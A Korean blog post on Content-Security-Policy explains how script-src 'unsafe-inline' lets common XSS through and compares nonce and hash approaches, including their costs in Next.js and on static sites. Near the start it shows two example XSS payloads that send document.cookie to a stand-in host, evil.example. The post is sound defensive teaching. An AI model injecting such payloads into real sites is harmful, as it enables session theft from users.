CSP script-src 'unsafe-inline'은 무엇을 열어 둘까?
어떤 사이트의 응답 헤더를 열어 보면 이런 줄이 있습니다.
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'CSP가 걸려 있으니 XSS는 막혀 있겠다고 생각하기 쉽습니다. 그런데 이 한 줄은 가장 흔한 형태의 XSS를 그대로 통과시킵니다. 차이는 'unsafe-inline' 한 단어에 있습니다.
「CSP가 있으니 안전하다」가 어긋나는 지점
흔히 CSP를 「우리 사이트에서 실행될 스크립트의 출처를 정하는 목록」으로 이해합니다. 맞는 설명입니다. script-src 'self'라고 적으면 다른 도메인에서 불러오는 <script src="https://evil.example/x.js">는 브라우저가 거부합니다.
문제는 XSS의 대부분이 바깥 파일을 불러오지 않는다는 데 있습니다. 공격자가 댓글 칸이나 검색어에 끼워 넣는 것은 보통 이런 모양입니다.
<script>fetch("https://evil.example/?c=" + document.cookie)</script>
<img src=x onerror="fetch('https://evil.example/?c=' + document.cookie)">둘 다 출처가 없는 스크립트입니다. 페이지 HTML 안에 직접 적혀 있으니 「어디서 불러왔는지」를 따질 대상이 아닙니다. CSP는 이런 스크립트를 인라인 스크립트로 분류하고, 기본적으로 실행하지 않습니다. 그 기본값을 끄는 스위치가 'unsafe-inline'입니다.
그래서 script-src 'self' 'unsafe-inline'은 「바깥 도메인 파일은 막고, 페이지에 끼어든 스크립트는 전부 실행한다」는 뜻이 됩니다. 공격자가 실제로 쓰는 길은 열어 두고 잘 쓰지 않는 길만 막는 셈입니다.
'unsafe-inline'이 허용하는 세 가지
MDN의 script-src 설명을 따라가 보면, 이 값이 허용하는 것은 세 종류입니다.
| 종류 | 예 | 'unsafe-inline' 없을 때 |
|---|---|---|
인라인 <script> 블록 |
<script>…</script> |
실행 안 됨 |
| 이벤트 처리 속성 | onclick="…", onerror="…" |
실행 안 됨 |
javascript: 주소 |
<a href="javascript:…"> |
실행 안 됨 |
세 번째가 자주 잊힙니다. 사용자가 입력한 주소를 링크로 그려 주는 화면(프로필의 홈페이지 칸, 즐겨찾기 목록)에서 주소의 프로토콜을 검사하지 않으면, javascript:로 시작하는 주소 하나가 곧 스크립트 실행입니다. 'unsafe-inline'이 있으면 CSP는 이것도 막아 주지 않습니다.
eval()은 이 목록에 없습니다. 문자열을 코드로 바꿔 실행하는 것은 'unsafe-eval'이라는 별도 스위치가 맡습니다. 둘을 같은 것으로 보는 경우가 있는데, 'unsafe-inline'만 빼고 'unsafe-eval'을 남겨 두면 문자열 실행 경로는 그대로 열려 있습니다.
그런데도 왜 많은 사이트가 'unsafe-inline'을 둘까
게을러서가 아니라, 프레임워크가 인라인 스크립트를 넣기 때문입니다.
React 기반 프레임워크는 서버에서 그린 HTML에 「이 화면을 브라우저에서 이어받을 데이터」를 인라인 스크립트로 함께 실어 보냅니다. Next.js의 App Router는 그 데이터를 self.__next_f.push(…) 형태의 인라인 스크립트로 넣습니다. 다크 모드 깜빡임을 막으려고 <head>에 넣는 짧은 스크립트, 분석 도구가 안내하는 설치 코드도 대개 인라인입니다.
CSP에서 'unsafe-inline'을 지우면 이 스크립트들까지 함께 멈춥니다. 화면이 비거나 버튼이 반응하지 않게 됩니다. 그래서 일단 넣어 두고 넘어가는 것입니다. 저는 이것을 나쁜 결정이라기보다 값을 치르지 않은 결정이라고 봅니다. 동작은 하지만 CSP가 XSS 방어로서 하는 일은 거의 없어집니다.
nonce와 hash, 「우리가 넣은 스크립트」를 증명하는 두 방식
해결 방향은 하나입니다. 인라인 스크립트를 전부 허용하지 말고, 우리가 넣은 것만 허용하면 됩니다. 브라우저에게 「이것은 우리 것」이라고 알려 주는 방법이 두 가지 있습니다.
nonce는 응답마다 새로 만드는 무작위 값입니다. 서버가 헤더에 script-src 'nonce-R4nd0m'이라고 적고, 자기가 넣는 스크립트에만 <script nonce="R4nd0m">을 붙입니다. 공격자가 끼워 넣은 스크립트에는 이 값이 없고, 값이 응답마다 바뀌니 미리 알아낼 수도 없습니다.
hash는 스크립트 내용 자체의 지문입니다. 헤더에 script-src 'sha256-…'처럼 허용할 스크립트의 SHA-256 값을 적어 둡니다. 브라우저는 인라인 스크립트를 실행하기 전에 내용의 지문을 계산해 목록과 대조합니다. 한 글자라도 다르면 실행하지 않습니다.
| nonce | hash | |
|---|---|---|
| 무엇으로 증명하나 | 응답마다 새로 만든 값 | 스크립트 내용의 지문 |
| 내용이 바뀌는 스크립트 | 문제없음 | 바뀔 때마다 지문을 다시 적어야 함 |
| 정적 페이지 | 어려움 (아래) | 그대로 가능 |
이벤트 속성 onclick |
막힘 | 막힘 ('unsafe-hashes'를 따로 줘야 허용) |
둘 중 하나라도 헤더에 있으면, CSP Level 2부터의 규칙에 따라 브라우저는 같은 줄의 'unsafe-inline'을 무시합니다(CSP Level 3 명세도 이 동작을 이어 갑니다). 그래서 'nonce-…' 'unsafe-inline'을 함께 적는 경우가 있습니다. 새 브라우저는 nonce로 판단하고, nonce를 모르는 오래된 브라우저만 'unsafe-inline'으로 떨어지게 하는 호환용 장치입니다.
여기에 'strict-dynamic'을 더하면, nonce나 hash로 허락받은 스크립트가 불러오는 스크립트도 따라서 허락됩니다. 분석 도구처럼 스크립트가 다른 스크립트를 동적으로 넣는 경우를 하나하나 적지 않아도 됩니다. web.dev의 엄격한 CSP 안내가 이 조합을 권합니다.
정적 사이트에서 nonce가 비싼 이유
nonce는 응답마다 달라야 의미가 있습니다. 미리 만들어 둔 HTML 파일을 그대로 내보내는 정적 사이트는 모든 방문자에게 같은 바이트를 보내니, 같은 nonce를 쓰게 됩니다. 그러면 공격자도 그 값을 읽어 자기 스크립트에 붙일 수 있습니다.
그래서 nonce를 쓰려면 요청이 올 때마다 페이지를 새로 그려야 합니다. Next.js의 CSP 안내도 nonce를 쓰면 페이지가 동적 렌더링으로 바뀐다고 적고 있습니다. 정적으로 캐시해서 내보내던 페이지가 매 요청 서버에서 그려지게 되니, 호스팅 비용과 응답 시간이 함께 움직입니다.
hash는 이 문제가 없습니다. 내용이 고정된 스크립트라면 지문도 고정이라, 빌드할 때 계산해 헤더에 넣어 두면 정적 페이지 그대로 쓸 수 있습니다. 다만 앞에서 본 프레임워크의 데이터 스크립트처럼 페이지마다 내용이 다른 인라인 스크립트가 있으면, 페이지마다 지문이 달라집니다. 이걸 빌드 단계에서 모아 헤더에 넣어 주는지는 프레임워크와 버전에 따라 다릅니다. 이 부분이 실제로 해 보기 전에는 판단하기 어려운 지점입니다.
script-src와 style-src의 무게 차이
style-src 'unsafe-inline'도 자주 보입니다. 이름이 같아서 같은 무게로 다루기 쉬운데, 저는 우선순위가 분명히 다르다고 봅니다.
인라인 스크립트는 페이지 안에서 할 수 있는 모든 일을 합니다. 쿠키와 저장소를 읽고, 사용자 대신 요청을 보내고, 화면을 바꿉니다. 인라인 스타일로 할 수 있는 공격은 훨씬 좁습니다. 화면을 가려 속이거나, CSS 선택자와 배경 이미지 요청을 조합해 입력값을 조금씩 새게 하는 기법이 알려져 있지만, 스크립트 실행과는 거리가 있습니다.
그래서 한 번에 다 고칠 수 없다면 script-src의 'unsafe-inline'을 먼저 없애는 쪽이 맞습니다. 스타일은 CSS-in-JS 라이브러리가 인라인 스타일을 넣는 경우가 많아서 없애는 비용도 더 큽니다.
CSP는 두 번째 방어선
마지막으로 CSP의 자리를 짚어 두겠습니다. XSS의 첫 번째 방어선은 출력할 때 이스케이프하는 것입니다. React는 {변수}로 넣은 문자열을 기본적으로 이스케이프하니, dangerouslySetInnerHTML을 쓰거나 사용자 입력을 href에 그대로 넣는 곳만 조심하면 대부분이 막힙니다.
CSP는 그 첫 줄에 구멍이 났을 때 실행을 막는 두 번째 줄입니다. 'unsafe-inline'이 있는 CSP는 이 두 번째 줄이 비어 있는 상태입니다. 평소에는 차이가 보이지 않습니다. 첫 줄에 구멍이 하나 생긴 날에야 차이가 드러납니다.
특히 그 페이지가 로그인한 사용자의 데이터를 다루거나, 권한 있는 다른 서비스에 요청을 보낼 수 있다면, 두 번째 줄을 채우는 일의 무게가 커집니다. XSS 하나로 할 수 있는 일이 그만큼 늘어나기 때문입니다.
확실하지 않은 부분
브라우저마다 CSP Level 3 지원 범위가 조금씩 다르고, 'strict-dynamic'이나 'unsafe-hashes'를 모르는 오래된 브라우저도 남아 있습니다. 프레임워크가 인라인 스크립트에 nonce나 hash를 얼마나 자동으로 붙여 주는지는 버전마다 바뀝니다. 실제로 적용할 때는 헤더를 바로 강제하기보다 Content-Security-Policy-Report-Only로 먼저 걸어, 무엇이 막히는지 보고만 받는 기간을 두는 편이 안전하다고 봅니다.
함께 읽기
- Next.js에 Google AdSense 붙이는 방법: 승인·ads.txt·CSP·동의 관리까지Google AdSense는 스크립트 한 줄만 붙이면 끝나는 도구처럼 보이지만, 실제 운영에서는 계정 심사, 사이트 소유권 확인, 광고 코드, ads.txt, 개인정보처리방침, 동의 관리, 보안 헤더가 함께 맞아야 한다. 하나라도 빠지면 사이트 연결에 실패하거나 광고 영역만 비어 있거나, 기존 페이지의 JavaScrip…
- 블로그를 서브도메인에서 하위 경로로 옮긴 이유, 그리고 CSP가 애드센스를 막고 있었습니다회사 사이트와 기술 블로그를 따로 운영하는 구성은 흔합니다. 회사는 duolabs.co.kr, 블로그는 blog.duolabs.co.kr.
- HMAC 입문: 서버는 값이 바뀌었다는 사실을 어떻게 알아낼까?웹 서비스를 만들다 보면 이런 값들을 자주 다룹니다.
- GA4 쿠키 없이 쓰기: client_id를 직접 넘기는 구성방문 분석은 하고 싶은데 쿠키 동의 팝업은 만들기 싫었습니다. 배너를 하나 붙이면 화면에 층이 하나 더 생기고, 동의 상태를 저장하고 갱신하고 철회까지 받는 코드가 따라옵니다. 방문자가 하루 수십 명인 회사 사이트에 그만한 장치를 두는 것은 과합니다.
- MCP 데이터베이스 서버: 에이전트에 DB를 열어 줄 때의 권한 설계Anthropic이 처음 내놓은 Postgres MCP 서버의 README에는 이렇게 적혀 있었습니다.